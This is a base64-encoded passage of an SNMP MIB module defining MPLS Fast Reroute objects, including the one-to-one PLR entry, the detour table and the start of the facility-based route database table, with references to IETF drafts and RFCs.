IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzRnJyT25lMk9uZVBsckVudHJ5
DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAg
ICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQW4gZW50cnkgaW4gdGhp
cyB0YWJsZSByZXByZXNlbnRzIGEgUExSIHRvZ2V0aGVyIHdpdGggaXRzDQogICAgICAgICBkZXRv
dXIgaW5zdGFuY2UuIEFuIGVudHJ5IGluIHRoaXMgdGFibGUgaXMgb25seSBjcmVhdGVkIGJ5IGFu
DQogICAgICAgICBTTk1QIGFnZW50IGFzIGluc3RydWN0ZWQgYnkgYW4gTVBMUyBzaWduYWxpbmcg
cHJvdG9jb2wuIg0KICAgICAgIElOREVYIHsgbXBsc0Zyck9uZTJPbmVQbHJUdW5JZHgsICAgICAg
IC0tIGZyb20gTVBMUy1URSBNSUINCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVu
RGV0b3VySW5zdCwtLSBtcGxzVHVubmVsVGFibGUNCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuSW5nckxTUklkLCAtLSBUdW5uZWxzIG11c3QgZXhpc3QNCiAgICAgICAgICAgICAg
IG1wbHNGcnJPbmUyT25lUGxyVHVuRWdyTFNSSWQsICAtLSBhIHByaW9yaQ0KICAgICAgICAgICAg
ICAgbXBsc0Zyck9uZTJPbmVQbHJJZCAgICB9DQogICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQ
bHJUYWJsZSAxIH0NCg0KICAgIE1wbHNGcnJPbmUyT25lUGxyRW50cnkgOjo9IFNFUVVFTkNFIHsN
CiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bklkeCAgICAgICAgIE1wbHNUdW5uZWxJbmRl
eCwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bkRldG91ckluc3QgIE1wbHNUdW5uZWxJ
bnN0YW5jZUluZGV4LA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuSW5nckxTUklkICAg
TXBsc0xzcklkZW50aWZpZXIsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5FZ3JMU1JJ
ZCAgICBNcGxzTHNySWRlbnRpZmllciwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBscklkICAg
ICAgICAgICAgIE1wbHNMc3JJZGVudGlmaWVyLA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxy
U2VuZGVyQWRkclR5cGUgSW5ldEFkZHJlc3NUeXBlLA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25l
UGxyU2VuZGVyQWRkciAgICAgSW5ldEFkZHJlc3MsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQ
bHJBdm9pZE5BZGRyVHlwZSBJbmV0QWRkcmVzc1R5cGUsDQogICAgICAgICAgbXBsc0Zyck9uZTJP
bmVQbHJBdm9pZE5BZGRyICAgICBJbmV0QWRkcmVzcw0KICAgIH0NCg0KICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuSWR4IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVs
SW5kZXgNCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVT
ICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBp
ZGVudGlmaWVzIGEgdHVubmVsIGJldHdlZW4gYSBwYWlyIG9mIExTUnMNCiAgICAgICAgICBmcm9t
IHRoZSBtcGxzVHVubmVsRW50cnkuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50
cnkgMSB9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBsclR1bkRldG91ckluc3QgT0JKRUNULVRZUEUN
CiAgICAgICBTWU5UQVggICAgICAgIE1wbHNUdW5uZWxJbnN0YW5jZUluZGV4DQogICAgICAgTUFY
LUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVW5pcXVlbHkgaWRlbnRpZmllcyBhIGRldG91
ciBpbnN0YW5jZSBvZiBhIHR1bm5lbCBmcm9tDQogICAgICAgICAgdGhlIG1wbHNUdW5uZWxFbnRy
eS4NCg0KICAgICAgICAgLSBsb3dlciAxNiBiaXRzIDogcHJvdGVjdGVkIHR1bm5lbCBpbnN0YW5j
ZQ0KICAgICAgICAgLSBoaWdoZXIgMTYgYml0czogZGV0b3VyIGluc3RhbmNlIg0KICAgICAgIDo6
PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50cnkgMiB9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBsclR1
bkluZ3JMU1JJZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc0xzcklkZW50
aWZpZXINCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVT
ICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGUgcHVycG9z
ZSBvZiB0aGlzIG9iamVjdCBpcyB0byB1bmlxdWVseSBpZGVudGl0eSBhDQogICAgICAgICAgIHR1
bm5lbCB3aXRoaW4gYSBuZXR3b3JrLiBXaGVuIHRoZSBNUExTIHNpZ25hbGxpbmcNCiAgICAgICAg
ICAgcHJvdG9jb2wgaXMgcnN2cCgyKSB0aGlzIHZhbHVlIFNIT1VMRCBtaW1pYyB0aGUNCiAgICAg
ICAgICAgRXh0ZW5kZWQgVHVubmVsIElkIGZpZWxkIGluIHRoZSBTRVNTSU9OIG9iamVjdC4NCiAg
ICAgICAgICAgV2hlbiB0aGUgTVBMUyBzaWduYWxsaW5nIHByb3RvY29sIGlzIGNybGRwKDMpIHRo
aXMNCiAgICAgICAgICAgdmFsdWUgU0hPVUxEIG1pbWljIHRoZSBJbmdyZXNzIExTUiBSb3V0ZXIg
SUQgZmllbGQNCiAgICAgICAgICAgaW4gdGhlIExTUElEIFRMViBvYmplY3QuIg0KICAgICAgIFJF
RkVSRU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQ
IFR1bm5lbHMsDQogICAgICAgICAgIEF3ZHVjaGUgZXQgYWwsIFJGQyAzMjA5LCBEZWNlbWJlciAy
MDAxDQogICAgICAgICAgMi4gQ29uc3RyYWludC1CYXNlZCBMU1AgU2V0dXAgdXNpbmcgTERQLCBK
YW1vdXNzaQ0KICAgICAgICAgICAoRWRpdG9yKSwgUkZDIDMyMTIsIEphbnVhcnkgMjAwMiINCiAg
ICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDMgfQ0KDQogICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuRWdyTFNSSWQgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNM
c3JJZGVudGlmaWVyDQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAg
IFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiU3Bl
Y2lmaWVzIHRoZSBlZ3Jlc3MgTFNSIElELiINCiAgICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBs
ckVudHJ5IDQgfQ0KDQoNCiAgICBtcGxzRnJyT25lMk9uZVBscklkIE9CSkVDVC1UWVBFDQogICAg
ICAgU1lOVEFYICAgICAgICBNcGxzTHNySWRlbnRpZmllcg0KICAgICAgIE1BWC1BQ0NFU1MgICAg
bm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVND
UklQVElPTg0KICAgICAgICAgIlRoaXMgdmFsdWUgcmVwcmVzZW50cyB0aGUgUExSIHRoYXQgaGFz
IGluaXRpYXRlZCBhIGRldG91ciBMU1ANCiAgICAgICAgIHRvIHByb3RlY3QgYSB0dW5uZWwgaW5z
dGFuY2UuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50cnkgNSB9DQoNCiAgICBt
cGxzRnJyT25lMk9uZVBsclNlbmRlckFkZHJUeXBlIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFY
ICAgICAgICBJbmV0QWRkcmVzc1R5cGUNCiAgICAgICBNQVgtQUNDRVNTICAgIHJlYWQtY3JlYXRl
DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAg
ICAgICJEZW5vdGVzIHRoZSBhZGRyZXNzIHR5cGUgb2YgdGhpcyBkZXRvdXIgaW5zdGFuY2UncyBz
ZW5kZXINCiAgICAgICAgIGFkZHJlc3MuIg0KICAgICAgIERFRlZBTCAgICAgICAgeyBpcHY0IH0N
CiAgICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDYgfQ0KDQogICAgbXBsc0Zyck9u
ZTJPbmVQbHJTZW5kZXJBZGRyIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJbmV0
QWRkcmVzcw0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMg
ICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIklmIG1wbHNGcnJP
bmUyT25lUGxyU2VuZGVyQWRkclR5cGUgaXMgc2V0IHRvIGlwdjQoMSksIHRoZW4gdGhpcyB2YWx1
ZQ0KICAgICAgICAgd2lsbCBjb250YWluIHRoZSBJUHY0IGFkZHJlc3Mgb2YgdGhpcyBkZXRvdXIg
aW5zdGFuY2UncyBzZW5kZXIuDQogICAgICAgICBUaGlzIG9iamVjdCBpcyBvdGhlcndpc2UgaW5z
aWduaWZpY2FudCBhbmQgc2hvdWxkIGNvbnRhaW4gYQ0KICAgICAgICAgdmFsdWUgb2YgMC4iDQog
ICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQbHJFbnRyeSA3IH0NCg0KICAgIG1wbHNGcnJPbmUy
T25lUGxyQXZvaWROQWRkclR5cGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIElu
ZXRBZGRyZXNzVHlwZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RB
VFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJEZW5vdGVz
IHRoZSBhZGRyZXNzIHR5cGUgb2YgdGhlIG5vZGUgdGhhdCB0aGlzIFBMUiB0cmllcyB0bw0KICAg
ICAgICAgYXZvaWQuIg0KICAgICAgIERFRlZBTCAgICAgICAgeyBpcHY0IH0NCiAgICAgICA6Oj0g
eyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDggfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQbHJBdm9p
ZE5BZGRyIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJbmV0QWRkcmVzcw0KICAg
ICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJZiBtcGxzRnJyT25lMk9uZVBsckF2b2lk
TkFkZHJUeXBlIGlzIHNldCB0byBpcHY0KDEpLCB0aGVuIHRoaXMNCiAgICAgICAgIHZhbHVlIHdp
bGwgY29udGFpbiB0aGUgSVB2NCBhZGRyZXNzIG9mIHRoZSBhdm9pZCBub2RlLiBUaGlzDQogICAg
ICAgICBvYmplY3QgaXMgb3RoZXJ3aXNlIGluc2lnbmlmaWNhbnQgYW5kIHNob3VsZCBjb250YWlu
IGEgdmFsdWUgb2YNCiAgICAgICAgIDAuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxy
RW50cnkgOSB9DQoNCiAgICAtLSBNUExTIE9uZS1Uby1PbmUgRmFzdCBSZXJvdXRlIERldG91ciB0
YWJsZS4NCg0KICAgIG1wbHNGcnJEZXRvdXJUYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRB
WCAgICAgICAgU0VRVUVOQ0UgT0YgTXBsc0ZyckRldG91ckVudHJ5DQogICAgICAgTUFYLUFDQ0VT
UyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJsZSBzaG93cyBkZXRvdXIgTFNQcy4iDQog
ICAgICAgOjo9IHsgbXBsc0ZycjF0bzFPYmplY3RzIDIgfQ0KDQogICAgbXBsc0ZyckRldG91ckVu
dHJ5IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzRnJyRGV0b3VyRW50cnkN
CiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAg
ICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJBbiBlbnRyeSBpbiB0aGlz
IHRhYmxlIHJlcHJlc2VudHMgYSBkZXRvdXIuIEFuIGVudHJ5IGluIHRoaXMNCiAgICAgICAgIHRh
YmxlIGlzIG9ubHkgY3JlYXRlZCBieSBhbiBTTk1QIGFnZW50IGFzIGluc3RydWN0ZWQgYnkgYW4g
TVBMUw0KICAgICAgICAgc2lnbmFsaW5nIHByb3RvY29sLiAiDQogICAgICAgSU5ERVggew0KICAg
ICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5JZHgsICAgICAgICAtLSBmcm9tIE1QTFMt
VEUgTUlCDQogICAgICAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bkRldG91ckluc3QsIC0t
IG1wbHNUdW5uZWxUYWJsZQ0KICAgICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5Jbmdy
TFNSSWQsICAtLSBUdW5uZWxzIG11c3QgZXhpc3QNCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUy
T25lUGxyVHVuRWdyTFNSSWQsICAgLS0gYSBwcmlvcmkNCiAgICAgICAgICB9DQogICAgICAgOjo9
IHsgbXBsc0ZyckRldG91clRhYmxlIDEgfQ0KDQogICAgTXBsc0ZyckRldG91ckVudHJ5IDo6PSBT
RVFVRU5DRSB7DQogICAgICAgICAgbXBsc0ZyckRldG91ckFjdGl2ZSAgICAgICAgICAgICBUcnV0
aFZhbHVlLA0KICAgICAgICAgIG1wbHNGcnJEZXRvdXJNZXJnaW5nICAgICAgICAgICAgSU5URUdF
UiwNCiAgICAgICAgICBtcGxzRnJyRGV0b3VyTWVyZ2VkRGV0b3VySW5zdCAgIE1wbHNUdW5uZWxJ
bnN0YW5jZUluZGV4DQogICAgfQ0KDQogICAgbXBsc0ZyckRldG91ckFjdGl2ZSBPQkpFQ1QtVFlQ
RQ0KICAgICAgIFNZTlRBWCAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAg
cmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJ
T04NCiAgICAgICAgICJJbmRpY2F0ZXMgd2hldGhlciBvciBub3QgdGhlIG1haW4gTFNQIGhhcyBz
d2l0Y2hlZCBvdmVyIHRvIHRoaXMNCiAgICAgICAgIGRldG91ciBMU1AuIFRoaXMgaXMgb25seSBy
ZWxldmFudCBmb3IgZGV0b3VycyBvcmlnaW5hdGVkIGJ5DQogICAgICAgICB0aGlzIG5vZGUuIg0K
ICAgICAgIDo6PSB7IG1wbHNGcnJEZXRvdXJFbnRyeSAxIH0NCg0KICAgIG1wbHNGcnJEZXRvdXJN
ZXJnaW5nIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJTlRFR0VSIHsgbm9uZSgw
KSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcm90ZWN0ZWRUdW5uZWwoMSksDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGV0b3VyKDIpDQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICBNQVgtQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNU
QVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB2
YWx1ZSByZXByZXNlbnRzIHdoZXRoZXIgb3Igbm90IHRoaXMgZGV0b3VyIGlzIG1lcmdlZC4NCiAg
ICAgICAgIFRoaXMgdmFsdWUgTVVTVCBiZSBzZXQgdG8gbm9uZSgwKSBpZiB0aGlzIGRldG91ciBp
cyBub3QgbWVyZ2VkLg0KICAgICAgICAgVGhpcyB2YWx1ZSBNVVNUIGJlIHNldCB0byBwcm90ZWN0
ZWRUdW5uZWwoMSkgaWYgdGhpcyBkZXRvdXIgaXMNCiAgICAgICAgIG1lcmdlZCB3aXRoIHRoZSBw
cm90ZWN0ZWQgdHVubmVsLiBUaGlzIHZhbHVlIE1VU1QgYmUgc2V0IHRvDQogICAgICAgICBkZXRv
dXIoMikgaWYgdGhpcyBkZXRvdXIgaXMgbWVyZ2VkIHdpdGggYW5vdGhlciBkZXRvdXINCiAgICAg
ICAgIHByb3RlY3RpbmcgdGhlIHNhbWUgdHVubmVsLiINCiAgICAgICA6Oj0geyBtcGxzRnJyRGV0
b3VyRW50cnkgMiB9DQoNCiAgICBtcGxzRnJyRGV0b3VyTWVyZ2VkRGV0b3VySW5zdCBPQkpFQ1Qt
VFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAgICAg
ICBNQVgtQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB2YWx1ZSByZXByZXNlbnRzIHRoZSBp
bnN0YW5jZSBvZiB0aGUgZGV0b3VyIHdpdGggd2hpY2gNCiAgICAgICAgIHRoaXMgZGV0b3VyIGlz
IG1lcmdlZC4gVGhpcyBvYmplY3QgaXMgb25seSB2YWxpZCB3aGVuDQogICAgICAgICBtcGxzRnJy
RGV0b3VyTWVyZ2luZyBpcyBzZXQgdG8gZGV0b3VyKDIpLg0KDQogICAgICAgICAtIGxvd2VyIDE2
IGJpdHMgOiBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlDQogICAgICAgICAtIGhpZ2hlciAxNiBi
aXRzOiBkZXRvdXIgaW5zdGFuY2UiDQogICAgICAgOjo9IHsgbXBsc0ZyckRldG91ckVudHJ5IDMg
fQ0KDQogICAgLS0NCiAgICAtLSBGYWNpbGl0eS1iYXNlZCBGUlItc3BlY2lmaWMgVGFibGVzDQog
ICAgLS0NCg0KICAgIG1wbHNGcnJGYWNSb3V0ZURCVGFibGUgT0JKRUNULVRZUEUNCiAgICAgICAg
U1lOVEFYICAgICAgICAgICAgU0VRVUVOQ0UgT0YgTXBsc0ZyckZhY1JvdXRlREJFbnRyeQ0KICAg
ICAgICBNQVgtQUNDRVNTICAgICAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgICBTVEFUVVMgICAg
ICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhlIG1w
bHNGcnJEQlRhYmxlIHByb3ZpZGVzIGluZm9ybWF0aW9uIGFib3V0IHRoZSBmYXN0DQogICAgICAg
ICAgICByZXJvdXRlIGRhdGFiYXNlLiAgRWFjaCBlbnRyeSBiZWxvbmdzIHRvIGFuIGludGVyZmFj
ZSwNCiAgICAgICAgICAgIHByb3RlY3RpbmcgYmFja3VwIHR1bm5lbCBhbmQgcHJvdGVjdGVkIHR1
bm5lbC4gTVBMUw0KICAgICAgICAgICAgaW50ZXJmYWNlcyBkZWZpbmVkIG9uIHRoaXMgbm9kZSBh
cmUgcHJvdGVjdGVkIGJ5IGJhY2t1cA0KICAgICAgICAgICAgdHVubmVscyBhbmQgYXJlIGluZGV4
ZWQgYnkgbXBsc0ludGVyZmFjZUNvbmZJbmRleC4gQmFja3VwDQogICAgICAgICAgICB0dW5uZWxz
IGRlZmluZWQgdG8gcHJvdGVjdCB0aGUgdHVubmVscyB0cmF2ZXJzaW5nIGFuDQogICAgICAgICAg
ICBpbnRlcmZhY2UsIGFuZCBhcmUgaW5kZXhlZCBieSBtcGxzVHVubmVsSW5kZXguIE5vdGUgdGhh
dCB0aGUNCiAgICAgICAgICAgIHR1bm5lbCBpbnN0YW5jZSBpbmRleCBpcyBub3QgcmVxdWlyZWQs
IHNpbmNlIGl0IGlzIGltcGxpZWQNCiAgICAgICAgICAgIHRvIGJlIDAsIHdoaWNoIGluZGljYXRl
cyB0aGUgdHVubmVsIGhlYWQgaW50ZXJmYWNlIGZvciB0aGUNCiAgICAgICAgICAgIHByb3RlY3Rp
bmcgdHVubmVsLiBUaGUgcHJvdGVjdGluZyB0dW5uZWwgaXMgZGVmaW5lZCB0byBleGlzdA0KICAg
ICAgICAgICAgb24gdGhlIFBMUiBpbiB0aGUgRlJSIHNwZWNpZmljYXRpb24uICBQcm90ZWN0ZWQg
dHVubmVscyBhcmUNCiAgICAgICAgICAgIHRoZSBMU1BzIHRoYXQgdHJhdmVyc2UgdGhlIHByb3Rl
Y3RlZCBsaW5rLiAgVGhlc2UgTFNQcyBhcmUNCiAgICAgICAgICAgIHVuaXF1ZWx5IGlkZW50aWZp
ZWQgYnkgbXBsc1R1bm5lbEluZGV4LCBtcGxzVHVubmVsSW5zdGFuY2UsDQogICAgICAgICAgICBt
cGxzVHVubmVsSW5ncmVzc0xTUklkLCBhbmQgbXBsc1R1bm5lbEVncmVzc0xTUklkLiINCiAgICAg
ICAgUkVGRVJFTkNFDQogICAgICAgICAgICAiU3Jpbml2YW5zYW4sIEMuLCBhbmQgQS4gVmlzd2Fu
YXRoYW4sIFQuIE5hZGVhdSwgTVBMUyBUcmFmZmljDQogICAgICAgICAgICBFbmdpbmVlcmluZyBN
YW5hZ2VtZW50IEluZm9ybWF0aW9uIEJhc2UgVXNpbmcgU01JdjIsDQogICAgICAgICAgICAgZHJh
ZnQtaWV0Zi1tcGxzLXRlLW1pYi0wNi50eHQgIg0KDQogICAgOjo9IHsgbXBsc0ZyckZhY09iamVj
dHMgMSB9DQoNCg0KICAgIG1wbHNGcnJGYWNSb3V0ZURCRW50cnkgT0JKRUNULVRZUEUNCiAgICAg
ICAgU1lOVEFYICAgICAgICAgICAgTXBsc0ZyckZhY1JvdXRlREJFbnRyeQ0KICAgICAgICBNQVgt
QUNDRVNTICAgICAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBj
dXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiQW4gZW50cnkgaW4gdGhl
IG1wbHNGcnJEQlRhYmxlIHJlcHJlc2VudHMgYSBzaW5nbGUgcHJvdGVjdGVkDQogICAgICAgICAg
ICBMU1AsIHByb3RlY3RlZCBieSBhIGJhY2t1cCB0dW5uZWwgYW5kIGRlZmluZWQgZm9yIGEgc3Bl
Y2lmaWMNCiAgICAgICAgICAgIHByb3RlY3RlZCBpbnRlcmZhY2UuIE5vdGUgdGhhdCBmb3IgYnJl
dml0eSwgbWFuYWdlcnMgc2hvdWxkDQogICAgICAgICAgICBjb25zdWx0IHRoZSBtcGxzVHVubmVs
VGFibGUgcHJlc2VudCBpbiB0aGUgTVBMUy1URSBNSUIgZm9yDQogICAgICAgICAgICBhZGRpdGlv
bmFsIGluZm9ybWF0aW9uIGFib3V0IHRoZSBwcm90ZWN0aW5nIGFuZCBwcm90ZWN0ZWQNCiAgICAg
ICAgICAgIHR1bm5lbHMsIGFuZCB0aGUgaWZFbnRyeSBpbiB0aGUgSUYtTUlCIGZvciB0aGUgcHJv
dGVjdGVkDQogICAgICAgICAgICBpbnRlcmZhY2UuIg0KICAgICAgICBSRUZFUkVOQ0UNCiAgICAg
ICAgICAgICJTcmluaXZhbnNhbiwgQy4sIGFuZCBBLiBWaXN3YW5hdGhhbiwgVC4gTmFkZWF1LCBN
UExTIExhYmVsDQogICAgICAgICAgICAgU3dpdGNoIFJvdXRlciBNYW5hZ2VtZW50IEluZm9ybWF0
aW9uIEJhc2UgVXNpbmcgU01JdjIsDQogICAgICAgICAgICAgZHJhZnQtaWV0Zi1tcGxzLWxzci1t
aWItMDcudHh0IFNyaW5pdmFuc2FuLCBDLiwgYW5kIEEuDQogICAgICAgICAgICAgVmlzd2FuYXRo
YW4sIFQuIE5hZGVhdSwgTVBMUyBUcmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQNCiAgICAg
ICAgICAgICBJbmZvcm1hdGlvbiBCYXNlIFVzaW5nIFNNSXYyLCBkcmFmdC1pZXRmLW1wbHMtdGUt
bWliLQ0KICAgICAgICAgICAgIDA2LnR4dC4iDQogICAgICAgIElOREVYIHsNCiAgICAgICAgICAg
ICAgICBtcGxzRnJyRmFjUm91dGVQcm90SWZJZHgsICAgICAgIC0tIGZyb20gTVBMUy1URSBNSUIN
CiAgICAgICAgICAgICAgICBtcGxzRnJyRmFjUm91dGVQcm90VHVuSWR4LCAgICAgIC0tIGZyb20g
TVBMUy1URSBNSUINCg0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZUJrdXBUdW5JZHgs
ICAgICAgLS0gZnJvbSBNUExTLVRFIE1JQg0KICAgICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0
ZUJrdXBUdW5JbnN0LCAgICAgLS0gbXBsc1R1bm5lbFRhYmxlDQogICAgICAgICAgICAgICAgbXBs
c0ZyckZhY1JvdXRlQmt1cFR1bkluZ3JMU1JJZCwgLS0gVHVubmVscyBtdXN0IGV4aXN0DQogICAg
ICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bkVnckxTUklkIH0gIC0tIGEgcHJpb3Jp
DQogICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJUYWJsZSAxIH0NCg0KICAgIE1wbHNGcnJGYWNS
b3V0ZURCRW50cnkgOjo9IFNFUVVFTkNFIHsNCiAgICAgICAgbXBsc0ZyckZhY1JvdXRlUHJvdElm
SWR4ICAgICAgICAgIEludGVyZmFjZUluZGV4LA0KICAgICAgICBtcGxzRnJyRmFjUm91dGVQcm90
VHVuSWR4ICAgICAgICAgTXBsc1R1bm5lbEluZGV4LA0KICAgICAgICBtcGxzRnJyRmFjUm91dGVC
a3VwVHVuSWR4ICAgICAgICAgTXBsc1R1bm5lbEluZGV4LA0KICAgICAgICBtcGxzRnJyRmFjUm91
dGVCa3VwVHVuSW5zdCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgsDQogICAgICAgIG1w
bHNGcnJGYWNSb3V0ZUJrdXBUdW5JbmdyTFNSSWQgICBNcGxzTHNySWRlbnRpZmllciwNCiAgICAg
ICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bkVnckxTUklkICAgIE1wbHNMc3JJZGVudGlmaWVyLA0K
ICAgICAgICBtcGxzRnJyRmFjUm91dGVEQk51bVByb3RUdW5PbklmICAgR2F1Z2UzMiwNCiAgICAg
ICAgbXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuICAgICAgIEdhdWdlMzIsDQogICAgICAgIG1w
bHNGcnJGYWNSb3V0ZURCUHJvdFR1blN0YXR1cyAgICBJTlRFR0VSLA0KICAgICAgICBtcGxzRnJy
RmFjUm91dGVEQlByb3RUdW5SZXN2QncgICAgVW5zaWduZWQzMg0KICAgIH0NCg0KICAgIG1wbHNG
cnJGYWNSb3V0ZVByb3RJZklkeCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50
ZXJmYWNlSW5kZXgNCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAg
U1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlx
dWVseSBpZGVudGlmaWVzIHRoZSBpbnRlcmZhY2UgY29uZmlndXJlZCBmb3IgRlJSIHByb3RlY3Rp
b24uIg0KICAgICAgOjo9IHsgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSAxIH0NCg0KICAgIG1wbHNG
cnJGYWNSb3V0ZVByb3RUdW5JZHggT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1w
bHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAg
ICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlVu
aXF1ZWx5IGlkZW50aWZpZXMgdGhlIG1wbHNUdW5uZWxFbnRyeSBwcmltYXJ5IGluZGV4IGZvcg0K
